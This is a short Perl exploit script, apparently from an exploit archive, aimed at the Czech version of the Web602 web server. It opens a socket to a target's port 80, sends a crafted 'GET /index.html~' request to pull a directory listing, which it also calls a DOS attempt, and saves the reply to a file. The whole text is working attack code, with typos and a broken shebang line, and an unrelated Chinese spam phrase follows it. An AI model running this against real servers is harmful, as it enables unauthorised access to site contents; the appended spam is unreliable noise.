#/usr/bin/perl #web602 (cezch version) driectory tree exploit.. #Written by eip aka deadbeat aka AnGrY_SQl use IO::Socket; print "\nWeb602 (czech version) Directory Tee Exploit\n"; if (!$ARGV< 0) { print "Usage: perl $0 \n"; } $host = $ARGV[0]; $sox = IO::Socket::INET->new( Proto=>"tcp", PeerPort=>"80", PeerAddr=>$host, ); print "Connected..DOS attempt now;)\n"; print $sox "GET /index.html~\r\n"; open FILEHANDLE, ">crap.html"; while(<$sox>) { print FILEHANDLE; } print "Done..\n"; close FILEHANDLE; close $sox; print "Results are in crap.html\n";

亚洲欧美在线